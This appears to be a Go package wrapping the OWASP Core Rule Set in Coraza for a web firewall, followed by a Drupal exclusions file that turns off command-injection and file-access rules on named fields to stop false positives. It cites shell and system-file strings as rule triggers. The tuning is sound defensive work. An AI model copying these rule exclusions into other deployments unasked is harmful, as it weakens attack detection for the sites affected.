// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
// detection" under "Settings" in SPEC.md describes them. It reads no response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory.
package coreruleset
import (
_ "embed"
"errors"
"fmt"
"io"
"maps"
"net"
"net/http"
"net/netip"
"os"
"regexp"
"slices"
"strconv"
"strings"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
"github.com/corazawaf/coraza/v3"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/types"
)
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
// the second, and the directives of every app in apps for the third.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
// setting switches one off. Coraza joins a line ending in \ to the next,
// without the spaces at the start of the next.
const directives = `
# The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
SecResponseBodyAccess Off
Include @crs-setup.conf.example
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.blocking_paranoia_level=%d"
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
# POST and OPTIONS.
SecAction "id:900200,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
# list of the headers it refuses. Content-Encoding goes back on it for a
# body the Core Rule Set reads (900260 in bodyDirectives).
SecAction "id:900250,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
/x-middleware-subrequest/'"
%s
# Coraza keeps the first 1000 query parameters of a request, and the first
# 1000 fields of a form data or JSON body, and drops the rest, which no
# rule then reads, so a request with more adds 5 to the score, as a rule
# the Core Rule Set rates critical does. Coraza's recommended
# configuration refuses such a request in its rules 200004 and 200005.
# This rule runs once the body is read, and before the Core Rule Set adds
# up the score in the same phase.
SecArgumentsLimit 1000
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
# The exclusions file comes before the rules, where the Core Rule Set puts
# its own file of exclusions that run before the rules, so that they run
# before the rules of phase 1 too.
%s
# The apps' fixes come before the rules for the same reason.
%s
# The fifth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here without regard to case.
# ARGS holds the fields of a form data or multipart body Coraza reads as
# well as the query parameters, so a field of this name is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: Referer is not checked for a Unix command without arguments
# or for Java starting a process.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
`
// bodyDirectives have the Core Rule Set read the part of a request body
// Inspect gives it, which is at most one byte longer than the limit, up to
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
// configuration has it in its rules 200000, 200001 and 200006, with
// text/json, and any application or text type ending in +xml or +json,
// besides; form data and multipart Coraza knows by itself. %% stands for
// a % Coraza reads.
const bodyDirectives = `
SecRequestBodyAccess On
SecRequestBodyLimit %d
SecRequestBodyLimitAction ProcessPartial
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
# The rest of the second change: Content-Encoding is refused again on a
# body of a kind the Core Rule Set reads, since a compressed body cannot be
# inspected.
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
"id:900260,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
/content-encoding/'"
# A body Coraza fails to parse (900440), and a multipart body that fails
# its strict checks (900450), each add 5 to the score, as a rule the Core
# Rule Set rates critical does: no rule reads what comes after the fault,
# which the app may still read. Coraza's recommended configuration refuses
# them in its rules 200002 and 200003. A multipart body the limit cuts
# before the colon of a part's header line, or between the carriage return
# and the line feed that end a part's header line or the empty line after
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
# malformed header. Coraza parses any form data body.
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
setvar:'tx.inbound_anomaly_score_pl1=+5'"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// app is an app whose ordinary requests the Core Rule Set would refuse,
// with the fixes that let them pass.
type app struct {
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
// forkOf names the app this one is a fork of, "" for none. A hostname
// that lists this app gets that app's fixes too.
forkOf string
}
//go:embed gitea.conf
var giteaDirectives string
//go:embed wordpress.conf
var wordpressDirectives string
//go:embed drupal.conf
var drupalDirectives string
//go:embed mediawiki.conf
var mediawikiDirectives string
//go:embed mastodon.conf
var mastodonDirectives string
//go:embed vaultwarden.conf
var vaultwardenDirectives string
//go:embed nextcloud.conf
var nextcloudDirectives string
//go:embed forgejo.conf
var forgejoDirectives string
//go:embed ghost.conf
var ghostDirectives string
// apps are the apps whose fixes sww has, by the name SWW_WAF_APPS gives each.
// flash is Forgejo's name for gitea_flash.
//
//nolint:gochecknoglobals // a constant cannot be a map
var apps = map[string]app{
"drupal": {directives: drupalDirectives},
"forgejo": {
directives: forgejoDirectives,
cookies: []string{"flash"},
forkOf: "gitea",
},
"ghost": {directives: ghostDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in
// alphabetical order.
func AppNames() []string {
return slices.Sorted(maps.Keys(apps))
}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
DisabledRules []int
// BodyInspectionSize is the most of a request body the Core Rule Set
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
// and it reads none.
BodyInspectionSize int64
// ExclusionsFile is the path of a file of exclusions loaded before the
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_WAF_APPS). A request gets only the fixes of its hostname's
// apps and of the apps they are forks of, or of every app while Apps is
// nil.
Apps map[string][]string
}
// The ids of sww's own rules, which an exclusions file may not
// name.
const (
firstOwnRuleID = 900000
lastOwnRuleID = 900999
)
// numberOrRange matches a number, or a range of numbers such as
// 900000-900999. Coraza reads a number with a + before it too, so the
// end of a range may have one.
var numberOrRange = regexp.MustCompile(`(\d+)(?:-\+?(\d+))?`)
// errSwwRuleID is the error of an exclusions file that names an
// id of sww's own rules.
var errSwwRuleID = errors.New("an id of sww's own rules")
// errChangesNoRule is the error of an exclusions file that holds a
// directive that removes or changes rules as it loads, such as
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them.
var errChangesNoRule = errors.New(
"the Core Rule Set's rules load after the file; " +
"switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " +
"with a ctl exclusion",
)
// directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to
// the next, without the spaces around either.
func directivesIn(text string) []string {
var directives []string
joined := ""
for line := range strings.Lines(text) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
if start, found := strings.CutSuffix(line, `\`); found {
joined += start
continue
}
directives = append(directives, joined+line)
joined = ""
}
return directives
}
// checkExclusions returns an error if exclusions, the text of an
// exclusions file, names an id of sww's own rules, alone or in a
// range, or holds a directive whose name starts with SecRuleRemove or
// SecRuleUpdate.
func checkExclusions(exclusions string) error {
for _, directive := range directivesIn(exclusions) {
for _, match := range numberOrRange.FindAllStringSubmatch(directive, -1) {
first, _ := strconv.Atoi(match[1])
last := first
if match[2] != "" {
last, _ = strconv.Atoi(match[2])
}
if first <= lastOwnRuleID && last >= firstOwnRuleID {
return fmt.Errorf(
"the exclusions file names %s: %w",
match[0],
errSwwRuleID,
)
}
}
// Coraza takes the directive's name up to the first space, without
// regard to case.
name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix(
lower,
"secruleremove",
) ||
strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf(
"%s in the exclusions file changes no rule: %w",
name,
errChangesNoRule,
)
}
}
return nil
}
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
engine coraza.WAF
bodyInspectionSize int64
// appsByHostname are the names of the apps each hostname serves, by
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
appsByHostname map[string][]string
}
// New returns the Core Rule Set with the five changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' body inspection size, and with params'
// exclusions file loaded before the Core Rule Set's rules. An exclusions
// file is an error if it cannot be read or does not parse, or if
// checkExclusions refuses it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyInspectionSize > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
}
exclusions := ""
if params.ExclusionsFile != "" {
file, err := os.ReadFile(params.ExclusionsFile)
if err != nil {
return nil, fmt.Errorf("read the exclusions file: %w", err)
}
exclusions = string(file)
err = checkExclusions(exclusions)
if err != nil {
return nil, err
}
}
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
fixes.String())
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
for i, id := range params.DisabledRules {
ids[i] = strconv.Itoa(id)
}
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
}
engine, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(text))
if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{
engine: engine,
bodyInspectionSize: params.BodyInspectionSize,
appsByHostname: params.Apps,
}, nil
}
// Result is what the Core Rule Set found in a request.
type Result struct {
// RuleIDs are the ids of the rules that matched, in the order they
// ran.
RuleIDs []int
// Score is the request's anomaly score: what those rules add up to.
Score int
}
// Inspect runs the Core Rule Set on r, a request from client, with the
// fixes of the apps appsFor names for r's hostname: on its method, its URL
// with the query, and its headers, the Cookie header without those apps'
// cookies, and on body, r's body as the caller has it, as readBody reads
// it. It returns what it found, what it read of body, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
tx := c.engine.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookies(value, cookiesNotRead)
if value == "" {
continue // it held those cookies alone
}
}
tx.AddRequestHeader(name, value)
}
}
// Go's server takes these two out of the headers.
tx.AddRequestHeader("Host", r.Host)
for _, encoding := range r.TransferEncoding {
tx.AddRequestHeader("Transfer-Encoding", encoding)
}
tx.ProcessRequestHeaders()
read, err := c.readBody(tx, body)
// This reads the body in memory and runs the rest of the rules, and
// cannot fail.
_, _ = tx.ProcessRequestBody()
var ids []int
for _, matched := range tx.MatchedRules() {
// The rules that look for attacks have a severity; the others set
// the Core Rule Set up and add up the score.
rule := matched.Rule()
if rule.Severity() != types.RuleSeverityUnset {
ids = append(ids, rule.ID())
}
}
return Result{RuleIDs: ids, Score: score(tx)}, read, err
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
// set and the body is of a kind the Core Rule Set reads: form data and
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
// JSON and XML, which it reads only when they are no longer than that,
// since they cannot be read in part.
// readBody reads one byte past c.bodyInspectionSize, to tell which they
// are, gives the Core Rule Set what it reads, and returns what it read and
// the error that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyInspectionSize == 0 {
return nil, nil
}
inPart := false
// How the body is read is a variable of the transaction, which only
// Coraza's interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
switch state.Variables().RequestBodyProcessor().Get() {
case "URLENCODED", "MULTIPART":
inPart = true
case "JSON", "XML":
default:
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
}
return read, err
}
// score returns the anomaly score the Core Rule Set added up in tx, a
// transaction it has run, or 0 if a rule that adds it up is switched off.
func score(tx types.Transaction) int {
// The score is in a variable of the transaction, which only Coraza's
// interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
if len(values) == 0 {
return 0
}
n, _ := strconv.Atoi(values[0])
return n
}
// appsFor returns the names of the apps whose fixes a request for host,
// its Host header, gets: every app while SWW_WAF_APPS is unset, and otherwise
// those SWW_WAF_APPS lists for host's name, without the port and in
// lowercase, each followed by the app it is a fork of, if any.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.appsByHostname == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
var names []string
for _, name := range c.appsByHostname[strings.ToLower(hostname)] {
names = append(names, name)
if apps[name].forkOf != "" {
names = append(names, apps[name].forkOf)
}
}
return names
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
if !slices.Contains(cookiesNotRead, name) {
kept = append(kept, cookie)
}
}
return strings.Join(kept, ";")
}
File diff suppressed because it is too large. Load diff
+334
View File
@@ -0,0 +1,334 @@
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request a rule refused. An
# exclusion on a field of a body applies only when the query has no parameter
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
# set. The exclusions above the comment "The fields below are in bodies" also
# cover a body field of the same name whatever the query holds, and only those
# below it need a query without that name.
#
# Each path may start with a language prefix, such as /fr in
# /fr/admin/content. The prefix is two or three letters, then optionally a
# hyphen and more letters, as in /pt-br.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each query exclusion below removes these four from its fields, with two
# exceptions. Rule 900806 removes only 930120 and 932120 from url. Two more
# rules misfire on destination, the address of a page of results, so
# destination alone skips them too:
# 932230: ls -la
# 932235: python3
# Every rule below is skipped unless Inspect has set tx.app_drupal. It sets it
# while SWW_WAF_APPS is unset, or lists drupal for the request's hostname.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3
# name: /admin/content/media?name=python3
# user: /admin/people?user=python3
# filename, filemime: /admin/content/files?filename=python3
# info: /admin/content/block?info=python3
# subject, author_name: /admin/content/comment?subject=python3
# search: /admin/config/search/path?search=python3
# q: /admin/views/ajax/autocomplete/tag?q=python3
# destination: /admin/content?destination=/admin/content%3Ftitle%3Dpython3
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/admin(?:/|$)" \
"id:900800,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:title|name|user|filename|filemime|info|subject|author_name|search|q|destination)$/"
# The page to return to, on the other pages Drupal links to with one, such as
# /node/1/edit?destination=/search/node%3Fkeys%3Dpython3,
# /node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3 and
# /big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/[a-z]+|[0-9]+/revisions/[0-9]+/(?:revert|delete))|comment/[0-9]+/[a-z]+|media/(?:add/[^/]+|[0-9]+/[a-z]+)|taxonomy/term/[0-9]+/[a-z]+|user/[^/]+(?:/[a-z]+)?|block/add/[^/]+|big_pipe/no-js)$" \
"id:900801,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:destination,\
ctl:ruleRemoveTargetById=932120;ARGS:destination,\
ctl:ruleRemoveTargetById=932230;ARGS:destination,\
ctl:ruleRemoveTargetById=932235;ARGS:destination,\
ctl:ruleRemoveTargetById=932250;ARGS:destination,\
ctl:ruleRemoveTargetById=932260;ARGS:destination"
# The text searched for on the search pages: /search/node?keys=python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/search(?:/|$)" \
"id:900802,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:keys,\
ctl:ruleRemoveTargetById=932120;ARGS:keys,\
ctl:ruleRemoveTargetById=932250;ARGS:keys,\
ctl:ruleRemoveTargetById=932260;ARGS:keys"
# What is typed into a field that autocompletes a tag, a user, a link in the
# rich text editor or a block's category:
# /entity_reference_autocomplete/taxonomy_term/default/KEY?q=python3
# /ckeditor5/basic_html/entity-link-suggestions?q=python3
# /block-category/autocomplete?q=python3
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:entity_reference_autocomplete/|ckeditor5/[^/]+/entity-link-suggestions$|block-category/autocomplete$)" \
"id:900803,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The values a JSON:API client filters by, in fields named after what they
# filter: /jsonapi/node/article?filter[title]=python3 and
# filter[f][condition][value]=python3.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
"id:900804,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^filter\[/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^filter\[/"
# A name, in the query or a body: the account whose password is reset, and
# the media library's filter by name:
# /user/password?name=python3
# /media-library?media_library_opener_id=...&name=python3
# /views/ajax?view_name=media_library&name=python3
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/password|media-library|views/ajax)$" \
"id:900805,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:name,\
ctl:ruleRemoveTargetById=932120;ARGS:name,\
ctl:ruleRemoveTargetById=932250;ARGS:name,\
ctl:ruleRemoveTargetById=932260;ARGS:name"
# The address of a remote video shown in a page:
# 930120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2F.htaccess
# 932120: /media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpowershell
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/media/oembed$" \
"id:900806,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The fields below are in bodies. Saving content sends its title, summary, tags,
# address, revision note, comment subject, media name and image text, which
# skip the same four rules there. A title such as "python3, ls -la and .htaccess"
# refused saving a node.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \
"id:900810,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/"
# The rich text editor sends HTML in body and comment_body. Each of these rules
# refused saving a node or a comment whose HTML held an image and a code block
# with a shell script, an SQL query and JavaScript, so they skip those fields:
# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260,
# 934100, 941160, 941390, 942170 and 942230.
SecRule REQUEST_FILENAME \
"@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \
"id:900811,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932140;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=942170;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/"
# A JSON:API client saving a node or a comment sends the same HTML in the
# JSON field body.value or comment_body.value, which skips the rules above. A
# title, summary, subject, name, revision note, block description or tag
# description beside it skips 930120, 932120, 932250 and 932260. A tag named
# python3 refused saving it.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \
"id:900812,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932140;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=934100;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=941390;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/"
# Signing in, in name and pass or the JSON fields of the same names. A
# password holds any characters:
# 930120: a password ending in /etc/hosts, or a name of .htaccess
# 932120: a password or a name of powershell
# 932250: a password or a name of ls -la
# 932260: a password or a name starting with python3
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
"id:900813,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:name|pass)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
# The password, pass, skips each rule that random passwords set off.
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
